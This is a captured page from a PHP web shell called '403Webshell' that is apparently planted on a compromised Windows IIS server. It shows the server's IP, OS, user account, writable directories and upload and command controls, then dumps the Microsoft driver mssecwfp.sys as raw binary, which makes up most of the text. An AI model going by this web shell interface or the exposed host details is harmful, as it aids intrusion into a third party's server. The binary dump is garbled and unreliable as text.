403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Windows/System32/drivers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Windows/System32/drivers/mssecwfp.sys
MZ����@���	�!�L�!This program cannot be run in DOS mode.

$�~�L��L��L��5F�E��L����5F�J��5F�K���N�@���N�M���N�M��RichL��PEd��V���",PHP�@

�9�A�d�`��&���>p`=H0�.text� h.rdatap0@H.data P4@�.pdata�`8@HPAGE
%p(@ `INITv
�h b.rsrc�x@B.reloc��@BH��(��v3�H��(��=CH�
"CH�S"DH��u&�#C�1CH�.CD�C�
C�S"H��(���H�\$UVWATAUAVAWH��H�BH3�H��$�L��$M��f��$�L�黀H��$�D��3�I���D��H��$3��yH�
ZBI��H�p!D����H����H�͈�$��H������H������H�͉�$��I��H�����-��$�f��u6H������L��$���:
H������L��$���� 
�@f����H����H��L��$���9
H����H��L��$����
I��H�t DH��$L���m��$D��$H�9I��H�J DI��H�����$�L��H��$�E��H�D$xI���D$p�H��$H�D$h��$��D$`��D$X��$��D$P��$�f�l$HH�|$@�t$8�D$0D�t$(H�\$ �-H��$�H3��H��$�H�ĠA_A^A]A\_^]���L�L$ D�D$f�T$USWH��H��0H����6���E3�H��H���_H�CH�E(H�E�JH�CH�E0H�CE3�H�C(H�E8H�C H��H�C8H�E@H�C0H�EHH�C@H�EPH�CHH�CPH�EXH�CXH�C`H�E`H�ChH�CpH�EhH�CxH���H�EpHǃ�H���H�ExHǃ�H���H���Hǃ�H���H���Hǃ����H���H������D���H���H���Hǃ����H������D���H�
	?H�\$ H�DH���H��0_[]�����H��t]SH�� �?H��H�
�>H�#Df;�>r��>H��H��>��H��H�
�>H��DH�� [����������H��H�XH�hH�pH�x ATAVAWH��@H��$�M��L��L���C����������I�N0����@��H��$�f;�u~H�� ��t%��t��`ubH�-� @2��H�-� ��H�-� @�H��D��$�M��@�t$8L��@�|$0H��L�t$(L�d$ ����@��t��
�A�Ft�c�H�\$`H�l$hH�t$pH�|$xH��@A_A^A\��������������H�T$0H��t%�	f��0t�A�A���fA��uf��0u� �	�b���������3���������������H��H�H��D$8M��L��=I��H�D$0M��H��<H�D$(H�RH�D$ �
H�L$x��%�� �H��H����������������L��I�[UVWH��@H��;H3�H�D$8H�4=I�C�H��$�I��H��I�C�H��I�C�E3�E3���
��x� ���H��H���V� ��DًˉH�L$8H3��
H�\$hH��@_^]�����������H��HE��M��M��tBL��<H����D$8M��H�D$0A��H��;I��H�D$(H�8H�D$ ��	H��H��H�A<H��tH�%
H�6<H��u������H�\$WH�� D�	3�I��L��L��D;Jt
�
��A������A��tlA��tXA��tFA��t0A��tA����H�B�fA9K�H�B�A8K�H�QI�BH�H9
�$H�B�A9K�H�B�fA9K�
H�B�A8K���{H�B�A9K�lA��tXA��tJA��t9A��t$A��t����LA�H�RH�I����0H�RH�I���H�I�m�A���L�AH�JH�I9�����H�\$0H�� _��H�\$WH�� �9�H��H��uD�AA����cD��3�f9u/f9Ku)f9Ku#f9Kuf9Kuf9K
uf9Ku�f9CtA��u������A;�u����H�\$0H�� _����H��H��W�$��t�$E3�H�$H��A��HDъ
���u
�BA"�<�t;fD9u<fD9Bu5fD9Bu.fD9Bu'fD9Bu fD9B
ufD9Bu�f9Bu�����u�BA"�A:��t�H�����H�\$WH��03�E3�H���\$ D�K�SH��DH��t]���$<uR���uM�f#�f;�t@D�K�\$ E3��S H��H��DH��t�@�f��f;�t
�݆f;�u���H�\$@H��0_�����H�\$WH��03�E3�H���\$ D�K�SH�PDH��td�@�f��f;�w<D�K�\$ E3��SH��H�DH��t0�x�u*�x�u$�xu�@f���f;�t
�݆f;�u���H�\$@H��0_��H��(H�AE3�L�J�H��u
I��������uI���3���D��A��H��(�����H��H��6H3�H�$f��fA�P3��fA�A�HI�@H�$H3��GH�����H��8H��6H3�H�D$ f��fA�PI�PfA�A�@I�H��A@����H�L$ H3���H��8������f��,tf��.tf��0tf��2t3��̸�̸�����H�\$H�t$WH�� H��H���A�t����"�����A�f��t
f��0f��u	3���H�t$8��H�\$0H�� _���H��f��,tf��.tf��0t
f��2t3��̹����H�B�����H��f��,tf��.tf��0t
f��2t3��̹���H�B�����f��,t
f��0t3���H�A�@(���f��,t
f��0t3���H�A�@h���f��.t
f��2t3���H�AH�@(������f��.t
f��2t3���H�AH�@h���������f��,f��t3���H�A�@H�������f��,f��t2���H�A�@X��������f��,f��t3���H�A�@x���L��I�[I�kI�s WATAUAVAWH��@H�Y4H3�H�D$8H�T$ M�KȲ�D$0E3�H��H��DH�D$(H��trD�` E3�D�x$L�XL���xYH�|$ A�,H���Lc�C��H��`��y�]��~	D�uA;�}�H�|$(A;�|��C�o;Os��GHƋ�H��3�H�L$8H3��1L�\$@I�[8I�k@I�sHI��A_A^A]A\_����H�\$WH�� H��H�D$HH��I��H�L$H�^u��xH�L$HH������H�3�H�\$0H�� _��H��(M�A8H��I���
�H��(����H��(A�L��D��L��A��tA�@McP��L�Hc�L#�Ic�N�H�B�HH�B�T��t�ƒ��L�M3�I���NH��(����������H�%I�����H�%������H�%������H�%������@SH��3�3��D��3ɸE2���$�\$�L$�T$��s.�D����s#��s3��H�� H�D�À��A��DD��D;�|93���$A���T$����	A��CЉ\$�L$D��� t��t��D��A��D��13�H��[���������������������������H��8H�d$ H��L�
�1��L��1H��D�H�%t�����H�%`�����H�%L�����H�%8�����H�%T�����H�%�����H�%������H�%������H�%������H�%�����H�%������H�%�����H�%|�����H�%h�����H�%l�����H�%H��������������ff�����������������������ff��%�����������������ff�H;
i0uH��f����u�H�����������������������H����I�I��fHn��I��@rn��/t
I�� �L�H��H���L+�I��@rGJ�T�N�L�I���I��))AH��@I��)A�)A�u�A)A)AA)A �DI��r*M�L�I�� I��ABI��C�f�I��r*M�L�I���I��A�B�I��C��fffff�M��t�N�L�I��tfA�����������������������������������������������������������W��.t2H��L�H��@AH��A L+�A0I��L��fH~��I��_��?���������������������������������������������������������������AQAPRQPH��0)D$ ���(D$ H��0XYZAXAY�����������������ff�H+�I��r"��tf��:u,H��I���u�M��I��uM��t�:uH��I��u�H3�����ÐI��t7H�H;u[H�AH;DuLH�AH;Du=H�AH;Du.H�� I��u�I��M��I��t�H�H;uH��I��u�I���H��H��H��H�
H�H�H;��������������������������������������������������������������H��I��r7I��wL�J�T�L�J�T��I�� wZBL�BL���M��tH+�rD�H��I��D�Y�u��DI�D�\�H��I��D�u��ffff�N�H+�s	L;��nH����tH���(�H��L�L+�M��I��toI����I��?�-fffffff�fffffff�fffffff�T\ d0)A�H��@I��)I�)Q�)Y�(�u�M��I��t�)A�H��I��u�I��tN�\�AA)A��fffffff��M��I��I��?D@�.fffffff�fffffff�fffffff��T\ d0+A�H��@D@I��+I�+Q�+Y�(�u����3���@I�D�H��I����tL��H���A(�L��L+�M��I��t9I��?�@L�T�\�d�)H��@I��)I0)Q )Y(�u�M��I��t�)D�H��I��u�I��tL��M+�AA)�B���$�r�P�8������ī����n�������Ч����"�:�D�\�r�������֨����8�X���������©ک���"�8�H�b�������Ъ����>�Z���x�^�L�6����ئ��������z�:�\����l��f�� @�!@� @�!@�!@�� �0 � � �#$�s�t�v w�w��P���\��5A�1�T"��k���d5�H��N�'c����sB��Y.H{�P�,���rF�~��ă%�W�ç3L�O����;9rJ�1�D�úTܳ���sFi��pH��
ͽ��IĔo��N���������mGB����>���1X��A�E���l\�Mp�L�I��Uԕs|%�I�f�I��p���o���l[�}�
,=N_j���}l��
,=N_j{���Ŏ}
�,=N_j{���֟�
,=N_j{���T�&�C�^:
�T��MZ"onN�y�d�̥���Ǡ�N�ݕ3~��0��K�uG��wFO^>�5��V�F�L��+%N�N�b_y�Z��m�
���P\4 �MsSecWfp outbound ALE IPv4 calloutMsSecWfp outbound ALE IPv6 calloutMsSecWfp inbound ALE IPv4 calloutMsSecWfp inbound ALE IPv6 calloutMsSecWfp outbound ALE IPv4 callout for isolationMsSecWfp outbound ALE IPv6 callout for isolationMsSecWfp inbound ALE IPv4 callout for isolationMsSecWfp inbound ALE IPv6 callout for isolationMsSecWfp outbound IPv4 calloutMsSecWfp outbound IPv6 calloutMsSecWfp outbound MAC frame ethernet calloutMsSecWfp outbound MAC native ethernet callout�DP0(�P���Z�_�qGǦ�۱��6� ";@\Device\MsSecWfpH;@\??\MsSecWfp�P\4 �NtQuerySystemInformationPsGetProcessStartKeyEtwGetProcessStartKeySeConvertSecurityDescriptorToStringSecurityDescriptor\SystemRoot\System32\drivers\NETIO.SYSKfdRegisterLayerEventNotifyExKfdDeregisterLayerEventNotifyH�R@�2@�2@ 4@E��2@�2@�2@�2@�2@�V��%�?�+�V��
t�?�+�V��$DAD-�V��hAh-RSDS*�"9�����I{�mssecwfp.pdbGCTL�.text$mn�!�.text$mn$00@"�.text$mn$210�.idata$5�2�.00cfg 4P.gfidsp4.rdata�?�.rdata$zzzdbgpA.xdataP�.data�R`.bss`�.pdatap
%PAGE��INIT�P.idata$20�.idata$3H��.idata$4��.idata$6��.rsrc$01��x.rsrc$02 *�"9�����I{�ʻ�Z
�n�i�E�V��

4

rpB)4=4���
�p`PH�Rp0P

2020dT42ptdT
4r����4
r
p	`PH8
4
�pHP-dT4��pH�
43
0pHp�0HHr0H0

4
2pR0H(�0H@	:pH�bH(
4r���
�p`P
t	dT42�d42p
T
4R���p`d42p

4	
Rp4rp`PH8

4
2	�p`'

��	��p`0PH�d	4Rpd42p""HbH 

4
Rp"4("p`PH!T
4R�p`H(4�p`PHX�p`0HP+H@ *�p`P0H@
4	
RpH(r0H8T42`
d
T	42��p'
d
T4R��pH(+dT4r����pH8B	pR ��0

4
2pb�4@�4@�6@�@@5@�4@�6@�@@5@�4@ 7@�@@ 5@�4@p7@�@@05@�4@�7@�@@@5@�4@08@�@@P5@�4@�8@�@@`5@�4@9@�@@p5@p4@`9@ @@@�5@�4@�9@ @@@�5@�4@�9@ @@�5@�4@@:@�@@@2��-�+�] �f��[|A\��A�A�AD��A���A�lElE ��A�'�A0��A��lE���B�v�Bx�C��C�T�CT�|A���C�)�C,YlE\�,C��lE�+lE,HlEHdlEd�lE��lE��lE��lE�lE��DH�BHfEh�E��lE��lE��lE� lE � @E� � lE� � dE� 	!lE	!!lE!!!lE!!-!lE-!9!lE9!E!lEE!Q!lEQ!]!lE]!i!lEi!u!lEu!�!lE�!�!lE�!�!lE�!�!lE�!�!lE�!�!lE�!�!E�!�!E"."`E@"G#E�#�#E$&$(E@$%E@%�'Ep�q�A�q�q|A�q�s(B�s�s|A�sCtBDt�t�A�tu|AujvdBlv�v|A�v�v|A�v w|A w�w�B�w*x�B,x=ytB@yJylELy�y�B�yNz�BPzyzlE|z6{�B8{t{�At{=|HC@|�|�A�|�~�Bw�Bx��B���<C�����C����pC����C���C����lEĆ��B�Y�lE\�8�`C8�V�CX���,C��N��BP�F��CH�؍D؍��D��v�4Dx��HD �ÐHDĐӐlEԐ��XD��,��D,���tD���|A����D�����D��
��D���pA����A�C�LBP�|�PE|�ޢlEfD�L$ D�D$�T$USWH��H��0�H��9���B������Ÿ��E3�H��H���DH�CH�E(H�E�JH�CH�E0H�CH��H�C(H�E8H�C H�E@H�C0H�EHH�C8H�C@H�EPH�CHH�CPH�EXH�CXH�C`H�E`H�ChH�CpH�EhH�CxH���H�EpHǃ�H���H�ExHǃ�H���H���Hǃ�H���A��Hǃ�����ɉ��HE��E3�H���H���D���H���Hǃ�H�
��H�\$ H�����DH��賢��H��0_[]����H��(H�
��H��tH�����DH�e��=f�tH�
m�H�����D�J�H��(��H�\$H�l$H�t$WAVAWH��H�r�H3�H��$�3�H�L$0D�BX����H�п��E2�3�3�H�0H���DH;�tL8��tKH��H�ÿ��DH��H��t4eH�%�E3�E3��D$ H��H�����D��x
A�H�=��E3�H�h�E3�H�D$ 3�A�Q
�f�����xu3�L�5F��3�H�L$0D�BX�f���I�F�H�T$0H�
&�E3�L��I�H�D$@I�F��D$0�D$P�D$p����3�=	"�E�x
��I��0��r�3�H��tH��H�Ӿ��DE��tH�����D��H��$�H3�裮��L��$�I�[ I�k(I�s0I��A_A^_�������H��(������u�H���H��(����H�\$WH��`H����H3�H�D$P3�H�=J��H�G�H�T$ H�
*��W�H�D$ E3��D$(H�D$HH�H�D$8H�GH�D$@�D$ �6�����x��H��0��r�H�L$PH3��٭��H�\$pH��`_���H�\$H�l$H�t$WH�� H�
���H��t謬��H����H�=���H�}���t1H���H�H�
w��觬��H�v0H��u�H�
a���y���H�-U��H�蚬��H�[0H��u�H�\$0H�l$8H�t$@H�� _���������������H��(�
�F�������dH��(����@SH��PH�_��H3�H�D$HH�pH�D$@H�ApL����H��A�"H���3�H��H���H�����H�AhH����H�D$0�D$(�D$ H����D�؅���H�
_��H�D$@H�D$0A��D$(E3��H�D$ H����D�؅�x]H�L$@L������H���D�؅�x:H����H�
&��H�����D�؅�xL�E����H�
�����H�L$@H��tH�����D��H�L$HH3�譫��H��P[����H��(H�=���t1H�
���H�@���DH�
t��H�%���DH�]��H��(�����H��(H�
	��H��t3�H�ӹ��DH����H��(���������������H��(3�H��H�
����J0H�J83�H��H�����D3�H��(��H�\$WH�� H��3�H����B= "uH����H�
����H�Hh�= "u�RH�K�!����
�3҉{0H��H�C8H�!���DH�\$0��H�� _��������H�\$WH�� H��3����tH���7��u�"��4H�U���DH���l��t�H9���u�H�4���DH����3҉_0H��H�G8H�����D��H�\$0H�� _����@SH��@H�G��H3�H�D$0H��W�H�
���3�A��D$ ���H���������������BH��������H�L$ H�]���DH�L$ H�D���DH����H���H�L$ H�-���DH�L$ H����DH����H����H�L$ H�����DH�L$ H���DH�����SwSsH�����H�L$0H3��ڨ��H��@[�����H�Ah����@SH��0H�'��H3�H�D$(3ۈ\$ ���t$H�
Q��H�T$ ����x8\$ �K��E��؊�H�L$(H3��m���H��0[����@SH��PH����H3�H�D$@H�D$0H���D$8H��t[H��tVH����H��u�%��HH�T$8A��H�T$ L�L$0����������x!H�D$0H�C�D$8f�f�f�C����
�H�L$@H3��ɧ��H��P[����H��H��tH��tH��A�H��H�%��������̸
������@WH���H����H3�H��$��=b��H�D$0u$L�D$0H�S��H�
$���?�����xWH�|$0u3��KH�
8��谦���H�|$@3�L��D�H^A���H�D$@H�D$ �JH�D$0�������x����H��$�H3����H���_����@SH�� D�3�L��E��t ���tA;�wH�QD��I�I�ڨ�����Ê�H�� [��H�\$UVWH��H��@H����H3�H�E�3�L�M�H��]�H�U�H�]�L�E�]�H�]�H�a���D��xY8]�ttH�M�H��tk��f;YsCL�E��H�-���D��xH�U�8uH��H��H����D��u*H�M���A;�r���H�M�H3����H�\$pH��@_^]�̳��2������@SH�� L��3�H��E�
E��t)���t#A;�w��I�JD��H�RH+�I��Ƨ�����Ê�H�� [��H�\$UVWATAUAVAWH��@E3�L��$�H��D��$�A��E��E��H������������D9)������؅����L�>�nH�L�D$ �R��D��H�)L;���H;���H;���I;���D��A�SwGgA�ԹH�����DD8-k��H��L����H����E��3�H���ɤ��M��H��H��軧��D��$�E����H��L�e$H+�H�L$0H+�J�'D�lA�$L�H�L$(J�)I;���L;���H;D$ ����A�SwGg�H����D�=���H��u.H��t)L�D$(3�H���)���J�l'�H���P������J�l'H��t�E�$I��H�������$�I��0����$�A;�s
H�L$0�;���E3�3�H�
�������H����H�
���H��$�3ҋh��D�5a��E��L�=[��M����$������
���$�H��$��AA��I���6��H��$�H��@A_A^A]A\_^]�����H��8H�u��H3�H�D$(�=���H�D$ t?L�D$ H�����H�
���������x#H�D$ H��tH�^
��K�������H�L$(H3�蟢��H��8���H�\$WH�� D�	3�I��L��L��D;Jt
�
��BA����0A��rt]A��tHA��t1A��tA��tEA��t0A��tA����H�B�A9K��H�B�fA9K��H�B�A8K��H�QI�BH�H9
�A����A��teA��tIA����A��t(A����H�QM�B�
A+u�JA�@+ȅ��cH�RH�I�P������RH�RH�IH�u���D�?H�I�;Bt���0H�RL��H�I臣����H�QM�BH�
I+uH�JI+HH�����������H�\$0H�� _��H�\$WH��0D�	3ۈ\$@I���\$$A��u�z
uH�IH�RH�I�M����N�B��t��tL�D$@�8����؅�x3�D$@�+A��t�
�� �BH�I�D$ H�BH�T$ H�D$(�������H�\$HH��0_���H�\$H�t$WH�� �A3�I��H���\$09Bt����7H��L�D$0�0�����x%�W��t��
t
��t��u
8\$0����\$0�H�\$8H�t$@H�� _����@USVWATAUAVAWH�l$�H���H�d��H3�H�E��A	E3�L�m�W�L�m�I��L�m�M��L�m�D��L��A��E�<uGA�@��u2I�@H��tH�8I�Y���
u8I�IH�U�������xH�U��M��S��u�A�x�΄�u�I�Y�M�H�U��6��uI�IH�U�H�I�����x�H�U��M��H��H�M���HH��EE��E�G�D$pI��L$hH�
���H�T$`A�H�D$XA�Ff�D$PA�GH�|$H�D$@��D$8�F�D$0�f�D$(A�F(�D$ ��L9m�tH�M�H�����DH�M�H��t3�H�2���DH�M�H3�葞��H���A_A^A]A\_^[]��H�\$H�t$WH��0D�J3�I����A����tqA��tbA��tLA��t&A��tA����H���w�H���l�)H���}����؅��@87�����H���]�������A���H���9u
�zu���׻
�A�0�A����A��toA��t9A��t����Ճyu�z
uH�IH�RH�I���@����
�@�7�e�yu�zu�B�D$ H�BH�QH�L$ �t$$H�D$(�r����yu��zu��B�D$ H�BH�QH�L$ �t$$H�D$(�:���둻�H�t$H��H�\$@H��0_��H��tiH�\$H�t$WH�� H����tDH�Y(��H�H��t�SwGgH�S���DH�H��0H��uֺSwGgH��H�.���DH�\$0H�t$8H�� _��D�L��3�I�II�	A������A��w��A��tWA��t A����A��t$A��t;A����H�BA�AI���H�RH��H��H�H#�H������H�BA�AI��A��t�A��t<A��t�A��tA��uzL�BM��t
I�@A�I�A�I�aH�BI�A�A�PH�BA�AI��?H�BI�A�A�.A��tA��uH�RH��H��H�H#�H�����I�	A�AI�������H�\$WH�� ��zH�RH�I;�uD���Y��������D��DC��F�����
u;����2���H�\$0H�� _�����3�M��9Bu8Bu����̃zu�L�AH�JE�H�A�A#�A#�;���A�
�����H�\$VWAVH�� 3�M��H��H��\$H�\$X8Z���9��H�I�B9��9AuL�D$H�A�����xv8\$Ht��b��H�NL�D$HH��H��������xP8\$Hu���H�vL�D$XH��H��趏����x/8\$Xu��H�NH��L�D$X蘏����x8\$X��A�����H�\$@H�� A^_^��H�\$H�l$VWATAVAWH��0@2�3�95���M��L��@�l$xD����H�<vH��H=���fD9g
��A�H�Wf9��A�G(9G���uBI�N�=uL�D$x����6=uL�D$x�F����#=tNL�D$xI������
L�D$xI�������x.�|$xt'��_M�΄�M��A��H��@��@�l$ ������t��;5����3���H�\$`@��H�l$hH��0A_A^A\_^����H�\$H�t$WH�� 3�H����9Zv"H�G H�[H��L���������u��;_r�2�H�\$0H�t$8H�� _�̰�����H��H�XH�hH�pH�x AVH�� 3�A��D��uY3�H�
0�����H9��t49��t,����t&H�t$PH�A���K�����u��H��;�r���"�3�H�
���聗��H�l$8��H�\$0H�t$@H�|$HH�� A^����H�\$UVWH�l$�H��H���H3�H�EH���D$T3��D$P"�H��H�M�D�BT詗��W�H�M�3�D$XH�D$xD$h�E�E�H�����D�H�L$XH�R���D�؅��/E3�H�L$XH��H�����D�؅����E3�H�L$XH��H�����D�؅����TH�M�D�B�H�J���D�؅�����H�M�L��D�B�H�)���D�؅���E3�L�E��H�L$XH�����D�؅�x~H�����DH�L$PA�H�L$HH�U�H�L$TE3�H�L$@H�L$X�D$8H�u���H�D$0H�D$(�D$ H�`���D�D$P3ۅ�u�|$Tu��	="�t��H�M�H�)���D��H�MH3��ޕ��H��$@H��_^]����H�\$H�l$ VWAVH��0H���H3�H�D$(���D$ �f�D$$L��H���D��D�Ź��H�_���D�=��H����H����D��3�H���t���H��A�H�T$ H��H�����D��������3�H��H�����D�H���PH�g���D�H������ZH�M���D�H����_�H�3���D�H���qGǦH����D�H����۱�H�����D��6�I��$H��H���2���������H��H��D��H�L$(H3��L���H�\$`H�l$hH��0A^_^��H�\$ UVWH��H��`H����H3�H�E�I��H�M؋�H�E�W�H�E�0L�E�H�E�@�H�E�H�M��E�H�.���D�؅�xH�M�L�Ƌ�H�����D��H�M�H��tH�d���D��H�M�H3�葓��H��$�H��`_^]��@SVWH��`H����H3�H�D$PI��H�D$H��H�D$@L�D$H�H�����D�؅�xOH�L$HH�D$@H�D$0A��D$(E3��H�D$ H�̡��DH�L$@L�Ƌ�H�����D��H�L$@H��tH�����DH�D$@H�L$HH��tH����D��H�L$PH3�裒��H��`_^[����H��XH����H3�H��$@3�H�L$,A�蝒��A��D$ ��D$$3��D$(H�ܡ��DA��H��H�š��D�H�L$ L��H�����D����H��$@H3����H��X���H��XH�R��H3�H��$@3�H�L$,A������D$ A��T$(3��D$$H�8���DA��H��H�!���D�H�L$ L��H����D����H��$@H3��V���H��X���E3�A�P�J��@SUVWAVH��PH�����H3�H��$@A�����3�A�H�L$ �3����3�D�ÍS�H�����DD�ÍS�H��H�r���DE3���tA�^A��S�H��H�R���DL���D$ �Ӊt$$H�L$ �l$(D��$4�|$,H�(���D����H��$@H3��n���H��PA^_^][�����@SH��@H�����H3�H�D$8H���D$0�D$4�����u4�9�����u+A�H�D$4L�D$0H�D$ H��A�Q<�Ѝ����x�D$0�2�H�L$8H3����H��@[��H�\$WH��0H�C���H3�H�D$(H�D$ @2�H�ȟ��DL�D$ �H��H��H�D���D��x(H�D���H�T$ H�H�H��H�k���D@��H�L$ H��t3�H���DH�D$ H��tH��H�C���D@��H�L$(H3��&���H�\$HH��0_����H��(���<Q��H��(��H�\$H�l$H�t$WAVAWH�� 3�H�zM��H��L���9v%H�O(I��H�����D��t/��H��(;urۻ%�H�l$H��H�\$@H�t$PH�� A_A^_��H�GI���H�\$H�l$H�t$ WAVAWH��0H�پ��H3�H�D$(3��D$ 3�L��L�L$ D��H�׹�����؋�ycH��t�SklmH��H�����D���uU�l$ A�Sklm�չH���D�=����H��uH��tPD��3�H���	����H��t<����t�����xI�?��H�L$(H3�谍��H�\$XH�l$`H�t$hH��0A_A^_�̻�������H��H�XH�hVH�� H��H�@ H�HH�@H�������؅�x H�T$@H�L$HL���A����؅�xH�D$HH�H�|$@tH�L$@�SklmH�����DH�l$8��H�\$0H�� ^��H�\$WH��@L�
���E3�3�H�
����H�4���D3��؅�xfL�ؕ����H�
|����G��؅�xH�=в��H�
��D��f�|$0��D$(SwEvDD�H�D$ �E3�3�H�Ց��D�������H�\$PH��@_�����@SH�� ����؅�xF諀��H�
C���L�
L���E3�H����H�����'����؅�x�����-�����u�����؋�H�� [��H�\$WH��H�d���H3�H��$pH�����H���8v4�_���H�������H��$pH3�踀��H��$�H�Ā_��H�g����D$@3�H�D$8A�H�D$002H�L$T誀��H�L$P�D$PH�����DH�L$0H�5���DH��t)E3�H�T$@��E�A�̐����x�|$@t�Ұ��H���6���؅��;�����H���	���؅��&�������؅����������؅�������H����������������������H�\$WH�� H��H���H��H�����H�\$0H�� _��H�����E3�I�2��-�+H��tI;�u81H�� H�
ٯ��H�H3�H�̯��fD�
ʯ��H�����H��u
I��H�����H��H����������d��0p���(0��ެ80H�Z�0B���$�r�P�8������ī����n�������Ч����"�:�D�\�r�������֨����8�X���������©ک���"�8�H�b�������Ъ����>�Z���x�^�L�6����ئ��������z�:�\����l��f�.ExQueryDepthSList�ExpInterlockedPopEntrySList�ExpInterlockedPushEntrySListExInitializeNPagedLookasideList�ExDeleteNPagedLookasideList�EtwRegister�EtwUnregister�EtwEventEnabled�EtwWrite�PsGetProcessCreateTimeQuadPart�PsGetProcessId�IoGetCurrentProcess�PsReferencePrimaryTokenzPsDereferencePrimaryToken�PsImpersonateClientPsRevertToSelf�PsInitialSystemProcess:	RtlInitUnicodeString
MmGetSystemRoutineAddress(	RtlGetVersion�ExFreePoolWithTagvIofCompleteRequestCIoCreateDevicePIoCreateSymbolicLink]IoDeleteDevice_IoDeleteSymbolicLinkjZwClose�ObOpenObjectByPointer3ZwSetSecurityObjectInitSafeBootMode�RtlConvertSidToUnicodeString�RtlFreeUnicodeString�ExAllocatePoolWithTag�RtlEqualSid�RtlGetAce
	RtlGetDaclSecurityDescriptor
wcscmp�RtlCreateSecurityDescriptor�	RtlSetDaclSecurityDescriptorExGetPreviousModeq
SeCaptureSubjectContext�
SeReleaseSubjectContextX
SeAccessCheckcIoWMIOpenBlock�ObfDereferenceObject�ZwOpenSymbolicLinkObject�	RtlLengthRequiredSidD	RtlInitializeSid
RtlSubAuthoritySid�RtlCreateAclARtlAddAccessAllowedAce�	RtlSetOwnerSecurityDescriptor�	RtlSetGroupSecurityDescriptor�
VerSetConditionMaskJ
RtlVerifyVersionInfo�
SeQueryInformationToken�ZwQueryInformationProcess�
SeExports�_stricmp-	RtlImageDirectoryEntryToData�ZwQuerySystemInformation�strcmpntoskrnl.exe�NdisGetDataBufferNDIS.SYSFwpmBfeStateGet0FwpmBfeStateSubscribeChanges0FwpmBfeStateUnsubscribeChanges00FwpmEngineOpen0-FwpmEngineClose0FwpmCalloutAdd0FwpmCalloutDeleteByKey0�FwpsCalloutRegister0�FwpsCalloutUnregisterByKey0�FwpsNetBufferListGetTagForContext0�FwpsNetBufferListAssociateContext0�FwpsNetBufferListRetrieveContext0fwpkclnt.sys�FltInitializePushLockFltAcquirePushLockExclusiveExFltAcquirePushLockSharedEx�FltReleasePushLockExFLTMGR.SYS�KeBugCheckEx��8�x�P�h���������?�����	(	8	H	X	h ��е�X��8�����
WEVT_TEMPLATEMUI�4VS_VERSION_INFO��~"
�m~"
�m?�StringFileInfo�040904B0LCompanyNameMicrosoft Corporationt&FileDescriptionMicrosoft Security WFP Callout DriverFFileVersion10.8830.27933.10002	InternalNamemssecwfp�.LegalCopyright� Microsoft Corporation. All rights reserved.B
OriginalFilenamemssecwfp.sysj%ProductNameMicrosoft� Windows� Operating SystemJProductVersion10.8830.27933.1000DVarFileInfo$Translation	�00(PP<��\Info

 Information

<Microsoft-Windows-SEC-WFP

CRIM�N�b_y�Z��m�
��$WEVT\�l
�D���TTBL`TEMP�0��7�\��7/����D�	EventDataA��=�oData%K�Name	ModuleTag
A��=�oData%K�Name	ProcessId
A��I�oData1K�NameProcessStartKey

A��Q�oData9K�NameProcessCreationTime
	A��=�oData%K�Name	IsBlocked

A��=�oData%K�Name	Direction
A��S�oData;K�NameIsExistingConnection

A��;�oData#K�NameFilterId

A��9�oData!K�NameLayerId
A��G�oData/K�NameInterfaceIndex
	A��;�oData#K�NameProtocol
A��O�oData7K�NameLocalAddressLength
A��C�oData+K�NameLocalAddress
A��Q�oData9K�NameRemoteAddressLength

A��E�oData-K�Name
RemoteAddress
\t

�		�

��



<Th����
ModuleTagProcessId$ProcessStartKey,ProcessCreationTimeIsBlockedDirection0IsExistingConnectionFilterIdLayerId$InterfaceIndexProtocol,LocalAddressLength LocalAddress,RemoteAddressLength RemoteAddressTEMP�L�)��|�[��V�w����D�	EventDataA��=�oData%K�Name	ModuleTag
A��7�oDataK�NameRuleId
A��9�oData!K�NameLayerId
A��7�oDataK�NameAction
A��9�oData!K�NameFieldId
A��=�oData%K�Name	MatchType
A��;�oData#K�NameDataType
A��G�oData/K�NameComparisonType
A��7�oDataK�NameWeight

A��G�oData/K�NameSubLayerWeight
	A��;�oData#K�NameFilterId

A��M�oData5K�NameFilterValueLength
A��A�oData)K�NameFilterValue
A��=�oData%K�Name	IsBlocked


d
|
�
�
�
�
�
�


 4

Xp�

�ModuleTagRuleIdLayerIdActionFieldIdMatchTypeDataType$ComparisonTypeWeight$SubLayerWeightFilterId(FilterValueLengthFilterValueIsBlockedPRVAH�Microsoft-Windows-SEC-WFPOPCO00,win:InfoLEVL@P\(win:InformationalTASKKEYW�������������<����l(Event_WfpCallout8Event_WfpCalloutExclusion0Event_WfpCalloutAudit4Event_WfpWfpGuardBlockEVNT�����x Pp����x Pt����x Px����< P|����MsSecWfp%Microsoft Security WFP Callout Driver%Microsoft Security WFP Callout Driver����@O
#F�-�����DOAJN�5�I��'�*����WEVT_TEMPLATEMUIMUIen-US0(�����������@���Эح�x���������P����� �0�8�@�H�P�`�h�p�x���������������ȠРؠ����� �(�0�8�@�P�X�`�h�p�����������������ȡС������ �(�0�lL�	�0	����$	^4
��	P�5�t�Ѻ�H~Џ��� L�P
��	��!�-!9AE!Q]�iua�A�A�!�a�p�}	�Q	ӱ	:�V��R>sO3���u��HV�6�Ɩ���̷�����������f��{�[�;B����0P�g�F�k��
Ϻ�z�7;`[�����[<�����,F`z��3�N�e^�~�3_R�ſܿ���Hi������/�O���Q�m��2���r@S�
��p	��	���8OP�T�g ��Ap
Z[W_��Q&0�&
	*�H��
��%�0�%�10
	`�He0\
+�7�N0L0
+�70	���010
	`�He aa,��:N<>��`�
���C�)��Lh�����
�0�	0��3�W���2-.�0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1.0,U%Microsoft Windows Production PCA 20110
260416190915Z
261017190915Z0p10	UUS10U
Washington10URedmond10U
Microsoft Corporation10UMicrosoft Windows0�"0
	*�H��
�0�
�֥�mlF��O%���F�k���Q�.�H�B���0��
|Ḣ�|�9b4�wۤ��cc��]Q����@~�$	���B��hn�K����u���D�@+c�,�iA�,a����晞�B���
K2؟��&���?
